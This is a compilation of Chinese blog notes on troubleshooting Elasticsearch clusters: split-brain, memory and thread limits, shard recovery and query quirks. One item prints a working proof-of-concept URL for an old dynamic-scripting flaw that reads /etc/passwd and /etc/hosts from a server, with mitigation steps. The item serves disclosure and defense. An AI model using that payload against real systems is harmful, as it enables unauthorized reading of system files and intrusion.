NO IMAGE

ES弊端:

 

Elasticsearch叢集的腦裂問題http://blog.csdn.net/cnweike/article/details/39083089

正常情況下,叢集中的所有的節點,應該對叢集中master的選擇是一致的,這樣獲得的狀態資訊也應該是一致的,不一致的狀態資訊,說明不同的節點對master節點的選擇出現了異常——也就是所謂的腦裂問題。這樣的腦裂狀態直接讓節點失去了叢集的正確狀態,導致叢集不能正常工作。

可能導致的原因:

1. 網路:由於是內網通訊,網路通訊問題造成某些節點認為master死掉,而另選master的可能性較小;進而檢查Ganglia叢集監控,也沒有發現異常的內網流量,故此原因可以排除。

2. 節點負載:由於master節點與data節點都是混合在一起的,所以當工作節點的負載較大(確實也較大)時,導致對應的ES例項停止響應,而這臺伺服器如果正充當著master節點的身份,那麼一部分節點就會認為這個master節點失效了,故重新選舉新的節點,這時就出現了腦裂;同時由於data節點上ES程序佔用的記憶體較大,較大規模的記憶體回收操作也能造成ES程序失去響應。所以,這個原因的可能性應該是最大的。

應對問題的辦法:

1. 對應於上面的分析,推測出原因應該是由於節點負載導致了master程序停止響應,繼而導致了部分節點對於master的選擇出現了分歧。為此,一個直觀的解決方案便是將master節點與data節點分離。為此,我們新增了三臺伺服器進入ES叢集,不過它們的角色只是master節點,不擔任儲存和搜尋的角色,故它們是相對輕量級的程序。可以通過以下配置來限制其角色:

[plain] view
plain
 copy

1.  node.master: true  

2. 
node.data: false  

當然,其它的節點就不能再擔任master了,把上面的配置反過來即可。這樣就做到了將master節點與data節點分離。當然,為了使新加入的節點快速確定master位置,可以將data節點的預設的master發現方式有multicast修改為unicast:

[plain] view
plain
 copy

1.  discovery.zen.ping.multicast.enabled: false  

2. 
discovery.zen.ping.unicast.hosts: [“master1”, “master2”, “master3”]  

3.    2.
還有兩個直觀的引數可以減緩腦裂問題的出現:

4.    discovery.zen.ping_timeout(預設值是3秒):預設情況下,一個節點會認為,如果master節點在3秒之內沒有應答,那麼這個節點就是死掉了,而增加這個值,會增加節點等待響應的時間,從一定程度上會減少誤判。

5.    discovery.zen.minimum_master_nodes(預設是1):這個引數控制的是,一個節點需要看到的具有master節點資格的最小數量,然後才能在叢集中做操作。官方的推薦值是(N/2) 1,其中N是具有master資格的節點的數量(我們的情況是3,因此這個引數設定為2,但對於只有2個節點的情況,設定為2就有些問題了,一個節點DOWN掉後,你肯定連不上2臺伺服器了,這點需要注意)。

6.     

7.     以上的解決方法只能是減緩這種現象的發生,並沒有從根本上杜絕,但是畢竟是有幫助的,如果大家有其它更好的建議,歡迎探討。

 

的方式

 

使用elasticsearch遇到的一些問題以及解決方法(不斷更新)

 

http://www.tuicool.com/articles/ZraIVzR

1.由gc引起節點脫離叢集因為gc時會使jvm停止工作,如果某個節點gc時間過長,master
ping3次(zen discovery預設ping失敗重試3次)不通後就會把該節點剔除出叢集,從而導致索引進行重新分配。

解決方法:

(1)優化gc,減少gc時間。(2)調大zen
discovery的重試次數(es引數:ping_retries)和超時時間(es引數:ping_timeout)。後來發現根本原因是有個節點的系統所在硬碟滿了。導致系統效能下降。

2.out ofmemory錯誤

因為預設情況下es對欄位資料快取(Field Data Cache)大小是無限制的,查詢時會把欄位值放到記憶體,特別是facet查詢,對記憶體要求非常高,它會把結果都放在記憶體,然後進行排序等操作,一直使用記憶體,直到記憶體用完,當記憶體不夠用時就有可能出現outof
memory錯誤。

解決方法:

(1)設定es的快取型別為Soft Reference,它的主要特點是據有較強的引用功能。只有當記憶體不夠的時候,才進行回收這類記憶體,因此在記憶體足夠的時候,它們通常不被回收。另外,這些引用物件還能保證在Java丟擲OutOfMemory
異常之前,被設定為null。它可以用於實現一些常用圖片的快取,實現Cache的功能,保證最大限度的使用記憶體而不引起OutOfMemory。在es的配置檔案加上index.cache.field.type:soft即可。

(2)設定es最大快取資料條數和快取失效時間,通過設定index.cache.field.max_size:50000來把快取field的最大值設定為50000,設定index.cache.field.expire:10m把過期時間設定成10分鐘。

3.無法建立本地執行緒問題

es恢復時報錯: RecoverFilesRecoveryException[[index][3]Failed to transfer [215] files with total size of [9.4gb]]; nested:OutOfMemoryError[unable
to create new native thread]; ]]

剛開始以為是檔案控制代碼數限制,但想到之前報的是too many open file這個錯誤,並且也把資料改大了。查資料得知一個程序的jvm程序的最大執行緒數為:虛擬記憶體/(堆疊大小*1024*1024),也就是說虛擬記憶體越大或堆疊越小,能建立的執行緒越多。重新設定後還是會報那這錯,按理說可建立執行緒數完全夠用了的,就想是不是系統的一些限制。後來在網上找到說是maxuser
processes的問題,這個值預設是1024,這個引數單看名字是使用者最大開啟的程序數,但看官方說明,就是使用者最多可建立執行緒數,因為一個程序最少有一個執行緒,所以間接影響到最大程序數。調大這個引數後就沒有報這個錯了。

解決方法:

(1)增大jvm的heap記憶體或降低xss堆疊大小(預設的是512K)。

(2)開啟/etc/security/limits.conf ,把soft
   nproc    1024這行的1024改大就行了。

4.叢集狀態為黃色時併發插入資料包錯

[7]: index [index], type [index],id [1569133], message [UnavailableShardsException[[index][1] [4] shardIt, [2]active : Timeout waiting for [1m], request:[email protected]]]

這是錯誤資訊,當時叢集狀態為黃色,即副本沒有分配。當時副本設定為2,只有一個節點,當你設定的副本大於可分配的機器時,此時如果你插入資料就有可能報上面的錯,因為es的寫一致性預設是使用quorum,即quorum值必須大於(副本數/2 1),我這裡2/2 1=2也就是說要要至少插入到兩份索引中,由於只有一個節點,quorum等於1,所以只插入到主索引,副本找不到從而報上面那個錯。

解決方法:(1)去掉沒分配的副本。(2)把寫一致性改成one,即只寫入一份索引就行。

5.設定jvm鎖住記憶體時啟動警告

當設定bootstrap.mlockall: true時,啟動es報警告Unknown
mlockall error 0,因為linux系統預設能讓程序鎖住的記憶體為45k。

解決方法:設定為無限制,linux命令:ulimit -l unlimited

6.錯誤使用api導致叢集卡死

其實這個是很低階的錯誤。功能就是更新一些資料,可能會對一些資料進行刪除,但刪除時同事使用了deleteByQuery這個介面,通過構造BoolQuery把要刪除資料的id傳進去,查出這些資料刪除。但問題是BoolQuery最多隻支援1024個條件,100個條件都已經很多了,所以這樣的查詢一下子就把es叢集卡死了。

解決方法:用bulkRequest進行批量刪除操作。

7.org.elasticsearch.transport.RemoteTransportException:Failed to deserialize exception response from stream

原因:es節點之間的JDK版本不一樣

解決方法:統一JDK環境

org.elasticsearch.client.transport.NoNodeAvailableException:No node available

1)埠錯

client = newTransportClient().addTransportAddress(new InetSocketTransportAddress(ipAddress,9300));

這裡9300
寫成9200的話會No node available

要是你連的不是本機,注意IP有沒有正確

2 )jar報引用版本不匹配,開啟的服務是什麼版本,引用的jar最好匹配(這個我沒有去試,反正我的是匹配的)

3)要是你改了叢集名字,還有設定叢集名字

Settings settings =ImmutableSettings.settingsBuilder().put(“cluster.name”,”xxx”).build(); client = newTransportClient(settings).addTransportAddress(new InetSocketTransportAddress(ipAddress,9300));

4)叢集超過5s沒有響應

解決方法1.設定client.transport.ping_timeout設大

2.程式碼內加入while (true) {

try {

bulk.execute().actionGet(getRetryTimeout());

break;

}

catch (NoNodeAvailableExceptioncont) {

Thread.sleep(5000);

continue;

}

}

9.elasticsearch 近日被發現漏洞,可以遠端執行任意程式碼,由於 elasticsearch提供了http介面,導致可能通過CSRF等方式藉助惡意頁面瀏覽發生攻擊 。

漏洞影響版本:

elasticsearch 1.2以下 

測試程式碼:

http:// ESSERVERIP :9200/_search?source=%7B%22size%22%3A1%2C%22query%22%3A%7B%22filtered%22%3A%7B%22query%22%3A%7B%22match_all%22%3A%7B%7D%7D%7D%7D%2C%22script_fields%22%3A%7B%22%2Fetc%2Fhosts%22%3A%7B%22script%22%3A%22import%20java.util.*%3B%5Cnimport%20java.io.*%3B%5Cnnew%20Scanner(new%20File(%5C%22%2Fetc%2Fhosts%5C%22)).useDelimiter(%5C%22%5C%5C%5C%5CZ%5C%22).next()%3B%22%7D%2C%22%2Fetc%2Fpasswd%22%3A%7B%22script%22%3A%22import%20java.util.*%3B%5Cnimport%20java.io.*%3B%5Cnnew%20Scanner(new%20File(%5C%22%2Fetc%2Fpasswd%5C%22)).useDelimiter(%5C%22%5C%5C%5C%5CZ%5C%22).next()%3B%22%7D%7D%7D&callback=jQuery111102863897154977554_1400571156308&_=1400571156309

瀏覽器會返回/etc/passwd內容

解決方案 :

1、在配置檔案elasticsearch.yml裡設定script.disable_dynamic: true

2、嚴格限制可訪問elasticsearch服務的IP地址

參考:

http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/modules-scripting.html#_disabling_dynamic_scripts

重啟後報503錯誤

詳情如此下:

[2014-09-23 17:42:33,499][WARN][transport.netty          ] [Erik Magnus Lehnsherr]Message not fully read (request) for [4961353] and

action[discovery/zen/join/validate], resetting

[2014-09-23 17:42:33,522][INFO][discovery.zen            ] [Erik MagnusLehnsherr] failed to send join request to master [[Red Lotus][

UG2WbJpDTHOB-EjzJFRsow][n025.corp.ncfgroup.com][inet[/10.18.6.25:9300]]],reason [org.elasticsearch.transport.RemoteTransportException:

[RedLotus][inet[/10.18.6.25:9300]][discovery/zen/join];org.elasticsearch.transport.RemoteTransportException: [Erik Magnus Lehnsherr]

[inet[/10.18.6.90:9300]][discovery/zen/join/validate];org.elasticsearch.ElasticsearchIllegalArgumentException: No custom indexmetadat

a factory registered for type[rivers]]

問題原因:都採用預設叢集名字的話,不同人不同I配置發到叢集會進行連線並選Master,有時候可能因為IP限制連線不上。

更改:自己的測試服務儘量個性命名

解決elasticsearch在大資料中應用的精確度問題

http://doc.okbase.net/bfchuan/archive/145777.html

elasticsearch)

  一)精確搜尋

  因為做的是資料分析的問題,所以搜尋是一個精確查詢的問題,當然不能使用聯想搜尋法,於是很自然的幹掉分詞法,但是我們知道,es自帶smartcn分詞法,也就是說不管如何,它都會給你分詞,這可不是我想要的,放眼網上一看,都是如何使用第三方分詞法替代es自己的分詞法,像我這樣的需求還真不好找。經過到大半夜的摸索,原始碼在手,何懼之有?找出三個解決辦法:

1)刪掉檔案:不同es版本檔案位置不一樣,直接搜尋smartcn刪除所有相關分詞檔案,當然有風險。

2)建立序列的時候宣告不分詞:我們在建立es索引的時候,都是startObject()的方法,於是我們在裡面增加filed,宣告index為

not_analyzed,則能不使用分詞,當然這個也有弊端,那就是如果有一天需要分詞的時候,就需要重新建立索引了。

3)修改輸入:這個方法乃上上之策,也是非常非常簡單,那就是在es裡面,如果你的字串是被雙引號括起來,那麼es就認為是一個原子,不會被分詞,也就是我們需要轉義引號,一起作為搜尋字串傳遞給es,這個簡單點辦法,發現之後我居然仰天長嘯,你個二b
es,這個神氣你居然藏著掖著。

二)es的filter

es的fiter著實讓我糾結,由於時間有限,我需要在實現not的搜尋,也就是不包含某個結果,我們知道在es裡面使用queryBuilder條件去設定過濾條件,會出現長度溢位,最好的做法當然是filter,於是很自然的建立了filter:

BoolFilterBuilder notFilter =FilterBuilders.boolFilter().mustNot(FilterBuilders.termsFilter(“body”,”fedde”).cache(false));

在es裡面的filter有兩類,not,or,and等這一類,還有一類是bool等這一類,他們的區別就是是否會使用es內部核心大陣列,在效能下優先考慮bool類,因為它會使用內部陣列,這個filter有個核心的坑就是僅僅只有body完全等於輸入字串的時候,才能被not,我覺得es不會沒有解決這個問題,或許是我沒有發現,時間有限,直接手動修改hits。。

三)es的and

  我們在實現es的and功能的時候,一般也是建立filter,並且es內部提供了and操作,我們理想的and操作就是將我們的多個輸入得到並結果,於是filter的建立如下:

QueryFilterBuilderqueryFilterBuilder =FilterBuilders.queryFilter(QueryBuilders.multiMatchQuery(value, eachStringQueryRequest.getQueryFiled()).operator(MatchQueryBuilder.Operator.AND).minimumShouldMatch(Global.MARCHPERCENT));

但是結果卻始終不正確,都是or的結果,於是我一度惱火,後來發現這個坑,multiMatchQuery這個方法傳遞兩個引數,一個是object的輸入,一個是可變長的es的filed的名字,原來es的and,是and它的可變長filed,而不是我們自己的多個輸入。

LASTICSEARCH幾個問題的解決

http://www.wklken.me/posts/2015/05/23/elasticsearch-issues.html

大量unassigned shards

其實剛搭完執行時就是status: yellow(所有主分片可用,但存在不可用的從分片),
只有一個節點,
主分片啟動並執行正常,
可以成功處理請求, 但是存在unassigned_shards,即存在沒有被分配到節點的從分片.(只有一個節點…..)

.當時資料量小,
就暫時沒關注.
然後, 隨著時間推移,
出現了大量unassigned shards

curl -XGET http://localhost:9200/_cluster/health\?pretty {   "cluster_name" : "elasticsearch",   "status" : "yellow",   "timed_out" : false,   "number_of_nodes" : 2,   "number_of_data_nodes" : 1,   "active_primary_shards" : 538,   "active_shards" : 538,   "relocating_shards" : 0,   "initializing_shards" : 0,   "unassigned_shards" : 558, "number_of_pending_tasks" : 0 } 

處理方式:
找了臺內網機器,
部署另一個節點(保證cluster.name一致即可,
自動發現,
贊一個). 當然,
如果你資源有限只有一臺機器,
使用相同命令再啟動一個es例項也行.
再次檢查叢集健康,
發現unassigned_shards減少, active_shards增多.

操作完後,
叢集健康從yellow恢復到 green

status: red

叢集健康惡化了……

這次檢查發現是status: red(存在不可用的主要分片)

curl -XGET http://localhost:9200/_cluster/health\?pretty {   "cluster_name" : "elasticsearch",   "status" : "red",    // missing some primary shards   "timed_out" : false,   "number_of_nodes" : 4,   "number_of_data_nodes" : 2,   "active_primary_shards" : 538,   "active_shards" : 1076,   "relocating_shards" : 0,   "initializing_shards" : 0,   "unassigned_shards" : 20,  // where your lost primary shards are.   "number_of_pending_tasks" : 0 } 

fix unassigned shards

開始著手修復

檢視所有分片狀態

curl -XGET http://localhost:9200/_cat/shards 

找出UNASSIGNED分片

curl -s "http://localhost:9200/_cat/shards" | grep UNASSIGNED pv-2015.05.22                 3 p UNASSIGNED pv-2015.05.22                 3 r UNASSIGNED pv-2015.05.22                 1 p UNASSIGNED pv-2015.05.22                 1 r UNASSIGNED 

查詢得到master節點的唯一標識

curl 'localhost:9200/_nodes/process?pretty'  {   "cluster_name" : "elasticsearch",   "nodes" : {     "AfUyuXmGTESHXpwi4OExxx" : {       "name" : "Master",      ....       "attributes" : {         "master" : "true"       }, ..... 

執行reroute(分多次,
變更shard的值為UNASSIGNED查詢結果中編號,
上一步查詢結果是1和3)

curl -XPOST 'localhost:9200/_cluster/reroute' -d '{         "commands" : [ {               "allocate" : {                   "index" : "pv-2015.05.22",                   "shard" : 1,                   "node" : "AfUyuXmGTESHXpwi4OExxx",                   "allow_primary" : true               }             }         ]     }' 

批量處理的指令碼(當數量很多的話,
注意替換node的名字)

#!/bin/bash  for index in $(curl  -s 'http://localhost:9200/_cat/shards'| grep UNASSIGNED | awk '{print $1}'| sort | uniq); do     for shard in $(curl  -s 'http://localhost:9200/_cat/shards'| grep UNASSIGNED | grep $index | awk '{print $2}'| sort | uniq); do         echo  $index $shard          curl -XPOST 'localhost:9200/_cluster/reroute' -d "{            'commands' : [ {                  'allocate' : {                      'index' : $index,                      'shard' : $shard,                      'node' : 'Master',                      'allow_primary' : true                  }                }            ]        }"          sleep 5     done done 

“Too many open files”

發現日誌中大量出現這個錯誤

執行

curl http://localhost:9200/_nodes/process\?pretty 

可以看到

"max_file_descriptors" : 4096, 

官方文件中

Make sure to increase the number of open filesdescriptors on the machine (or for the user running elasticsearch). Setting itto 32k or even 64k is recommended.

而此時,
可以在系統級做修改,
然後全域性生效

最簡單的做法,
bin/elasticsearch檔案開始的位置加入

ulimit -n 64000 

然後重啟es,
再次查詢看到

"max_file_descriptors" : 64000,